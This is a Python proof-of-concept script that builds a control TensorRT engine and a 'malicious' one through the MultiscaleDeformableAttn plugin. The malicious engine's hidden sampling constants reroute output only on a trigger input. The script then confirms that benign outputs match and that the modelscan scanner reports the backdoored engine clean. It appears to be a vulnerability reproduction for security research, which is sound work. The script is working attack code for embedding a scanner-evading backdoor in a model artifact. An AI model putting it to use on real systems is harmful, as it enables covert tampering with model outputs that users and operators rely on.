#!/usr/bin/env python3 from __future__ import annotations import argparse import ctypes import hashlib import json import os import subprocess import sys from pathlib import Path import numpy as np import tensorrt as trt HERE = Path(__file__).resolve().parent ARTIFACTS = HERE / "artifacts" CONTROL = ARTIFACTS / "control_msda_left.engine" MALICIOUS = ARTIFACTS / "malicious_msda_right.engine" def sha256(path: Path) -> str: h = hashlib.sha256() with path.open("rb") as f: for chunk in iter(lambda: f.read(1024 * 1024), b""): h.update(chunk) return h.hexdigest() def load_cudart(): cudart = ctypes.CDLL("libcudart.so") cudart.cudaSetDevice.argtypes = [ctypes.c_int] cudart.cudaSetDevice.restype = ctypes.c_int cudart.cudaMalloc.argtypes = [ctypes.POINTER(ctypes.c_void_p), ctypes.c_size_t] cudart.cudaMalloc.restype = ctypes.c_int cudart.cudaFree.argtypes = [ctypes.c_void_p] cudart.cudaFree.restype = ctypes.c_int cudart.cudaMemcpy.argtypes = [ ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int, ] cudart.cudaMemcpy.restype = ctypes.c_int cudart.cudaMemset.argtypes = [ctypes.c_void_p, ctypes.c_int, ctypes.c_size_t] cudart.cudaMemset.restype = ctypes.c_int cudart.cudaDeviceSynchronize.restype = ctypes.c_int return cudart def tensor_count(shape: list[int]) -> int: count = 1 for dim in shape: if dim < 0: raise RuntimeError(f"dynamic tensor shape is not bound: {shape}") count *= dim return count def get_creator() -> trt.IPluginCreator: logger = trt.Logger(trt.Logger.ERROR) trt.init_libnvinfer_plugins(logger, "") for creator in trt.get_plugin_registry().all_creators: if ( creator.name == "MultiscaleDeformableAttnPlugin_TRT" and creator.plugin_version == "1" and type(creator).__name__ == "IPluginCreator" ): return creator raise RuntimeError("MultiscaleDeformableAttnPlugin_TRT v1 creator not found") def build_engine(path: Path, sampling_xy: tuple[float, float]) -> None: logger = trt.Logger(trt.Logger.ERROR) creator = get_creator() plugin = creator.create_plugin("msda_gate", trt.PluginFieldCollection([])) if plugin is None: raise RuntimeError("create_plugin returned None") builder = trt.Builder(logger) network = builder.create_network(0) config = builder.create_builder_config() value = network.add_input("value", trt.float32, (1, 2, 1, 1)) spatial_shapes = network.add_constant( (1, 2), np.array([1, 2], dtype=np.int32) ).get_output(0) level_start_index = network.add_constant( (1,), np.array([0], dtype=np.int32) ).get_output(0) sampling_locations = network.add_constant( (1, 1, 1, 1, 1, 2), np.array(sampling_xy, dtype=np.float32) ).get_output(0) attention_weights = network.add_constant( (1, 1, 1, 1, 1), np.array([1.0], dtype=np.float32) ).get_output(0) layer = network.add_plugin_v2( [value, spatial_shapes, level_start_index, sampling_locations, attention_weights], plugin, ) if layer is None: raise RuntimeError("add_plugin_v2 returned None") layer.get_output(0).name = "attn_out" network.mark_output(layer.get_output(0)) plan = builder.build_serialized_network(network, config) if plan is None: raise RuntimeError("TensorRT failed to build MultiscaleDeformableAttn engine") path.parent.mkdir(parents=True, exist_ok=True) path.write_bytes(bytes(plan)) def build_artifacts() -> None: ARTIFACTS.mkdir(parents=True, exist_ok=True) build_engine(CONTROL, (0.25, 0.5)) build_engine(MALICIOUS, (0.75, 0.5)) def run_engine(path: Path, values: list[float], gpu: int | None = None) -> dict: cuda = load_cudart() if gpu is not None: rc = cuda.cudaSetDevice(gpu) if rc != 0: raise RuntimeError(f"cudaSetDevice({gpu}) failed rc={rc}") logger = trt.Logger(trt.Logger.ERROR) trt.init_libnvinfer_plugins(logger, "") runtime = trt.Runtime(logger) engine = runtime.deserialize_cuda_engine(path.read_bytes()) if engine is None: raise RuntimeError(f"deserialize_cuda_engine returned None for {path}") ctx = engine.create_execution_context() if ctx is None: raise RuntimeError("create_execution_context returned None") ptrs: dict[str, tuple[ctypes.c_void_p, int, list[int], str]] = {} try: tensor_meta = {} for i in range(engine.num_io_tensors): name = engine.get_tensor_name(i) shape = list(engine.get_tensor_shape(name)) count = tensor_count(shape) nbytes = max(count * 4, 4) ptr = ctypes.c_void_p() if cuda.cudaMalloc(ctypes.byref(ptr), nbytes) != 0: raise RuntimeError(f"cudaMalloc failed for {name}") if cuda.cudaMemset(ptr, 0, nbytes) != 0: raise RuntimeError(f"cudaMemset failed for {name}") if not ctx.set_tensor_address(name, ptr.value): raise RuntimeError(f"set_tensor_address failed for {name}") mode = str(engine.get_tensor_mode(name)) ptrs[name] = (ptr, nbytes, shape, mode) tensor_meta[name] = { "shape": shape, "dtype": str(engine.get_tensor_dtype(name)), "mode": mode, } arr = (ctypes.c_float * len(values))(*values) upload_rc = cuda.cudaMemcpy( ptrs["value"][0], ctypes.cast(arr, ctypes.c_void_p), len(values) * 4, 1 ) if upload_rc != 0: raise RuntimeError(f"cudaMemcpy input upload failed rc={upload_rc}") infer_shapes = ctx.infer_shapes() execute_ok = bool(ctx.execute_async_v3(0)) sync_rc = cuda.cudaDeviceSynchronize() outputs = {} for name, (ptr, nbytes, shape, mode) in ptrs.items(): if "OUTPUT" not in mode: continue count = nbytes // 4 host = (ctypes.c_float * count)() copy_rc = cuda.cudaMemcpy(ctypes.byref(host), ptr, nbytes, 2) outputs[name] = { "shape": shape, "copy_rc": copy_rc, "values": [float(x) for x in host], } return { "path": str(path), "sha256": sha256(path), "input_values": [float(x) for x in values], "tensor_meta": tensor_meta, "infer_shapes": infer_shapes, "execute_ok": execute_ok, "sync_rc": sync_rc, "outputs": outputs, "output_signature": [ value for output in outputs.values() for value in output.get("values", []) ], } finally: for ptr, _, _, _ in ptrs.values(): if ptr.value: cuda.cudaFree(ptr) def run(cmd: list[str], timeout: int = 120) -> dict: proc = subprocess.run(cmd, text=True, capture_output=True, timeout=timeout) return { "returncode": proc.returncode, "stdout": proc.stdout.strip(), "stderr_tail": proc.stderr[-3000:], } def modelscan(path: Path) -> dict: modelscan_env = os.environ.get("MODELSCAN_BIN") modelscan_bin = Path(modelscan_env) if modelscan_env else None if not modelscan_bin or not modelscan_bin.exists(): modelscan_bin = Path(sys.executable).with_name("modelscan") if not modelscan_bin.exists(): modelscan_bin = Path("modelscan") result = run([str(modelscan_bin), "-p", str(path), "--show-skipped"]) combined = result["stdout"] + "\n" + result["stderr_tail"] result["binary"] = str(modelscan_bin) result["clean"] = "No issues found" in combined result["skipped"] = "Model Scan did not scan file" in combined return result def summarize(control: Path, malicious: Path, gpu: int | None = None) -> dict: benign = [7.0, 7.0] trigger = [10.0, 99.0] summary = { "format": "TensorRT (.engine / .trt / .mytrtfile) - NVIDIA", "tensorrt": trt.__version__, "plugin": "MultiscaleDeformableAttnPlugin_TRT v1", "hidden_constants": { "control_sampling_locations_xy": [0.25, 0.5], "malicious_sampling_locations_xy": [0.75, 0.5], "spatial_shapes": [1, 2], "level_start_index": [0], "attention_weights": [1.0], }, "control": str(control), "malicious": str(malicious), "sha256": { "control": sha256(control), "malicious": sha256(malicious), }, "runs": { "control_benign": run_engine(control, benign, gpu), "malicious_benign": run_engine(malicious, benign, gpu), "control_trigger": run_engine(control, trigger, gpu), "malicious_trigger": run_engine(malicious, trigger, gpu), }, "modelscan_malicious": modelscan(malicious), } summary["impact"] = { "same_output_shape": ( summary["runs"]["control_trigger"]["tensor_meta"]["attn_out"]["shape"] == summary["runs"]["malicious_trigger"]["tensor_meta"]["attn_out"]["shape"] ), "both_execute_ok": ( summary["runs"]["control_trigger"]["execute_ok"] and summary["runs"]["malicious_trigger"]["execute_ok"] ), "sync_ok": ( summary["runs"]["control_trigger"]["sync_rc"] == 0 and summary["runs"]["malicious_trigger"]["sync_rc"] == 0 ), "benign_outputs_match": ( summary["runs"]["control_benign"]["output_signature"] == summary["runs"]["malicious_benign"]["output_signature"] ), "trigger_output_changed": ( summary["runs"]["control_trigger"]["output_signature"] != summary["runs"]["malicious_trigger"]["output_signature"] ), "control_trigger_output": summary["runs"]["control_trigger"]["output_signature"], "malicious_trigger_output": summary["runs"]["malicious_trigger"]["output_signature"], } return summary def main() -> int: ap = argparse.ArgumentParser( description="Build and reproduce a MultiscaleDeformableAttn TensorRT trigger backdoor." ) ap.add_argument("--build", action="store_true") ap.add_argument("--control", type=Path, default=CONTROL) ap.add_argument("--malicious", type=Path, default=MALICIOUS) ap.add_argument("--gpu", type=int, default=None) ap.add_argument("--out", type=Path, default=ARTIFACTS / "repro_summary.json") args = ap.parse_args() if args.build: build_artifacts() summary = summarize(args.control.resolve(), args.malicious.resolve(), args.gpu) args.out.parent.mkdir(parents=True, exist_ok=True) args.out.write_text(json.dumps(summary, indent=2) + "\n", encoding="utf-8") print(json.dumps(summary, indent=2)) impact = summary["impact"] if not ( impact["same_output_shape"] and impact["both_execute_ok"] and impact["sync_ok"] and impact["benign_outputs_match"] and impact["trigger_output_changed"] and summary["modelscan_malicious"]["clean"] ): raise SystemExit("FAIL: expected MultiscaleDeformableAttn trigger did not reproduce") print("PASS: malicious MultiscaleDeformableAttn engine reroutes trigger output while modelscan reports clean") return 0 if __name__ == "__main__": raise SystemExit(main())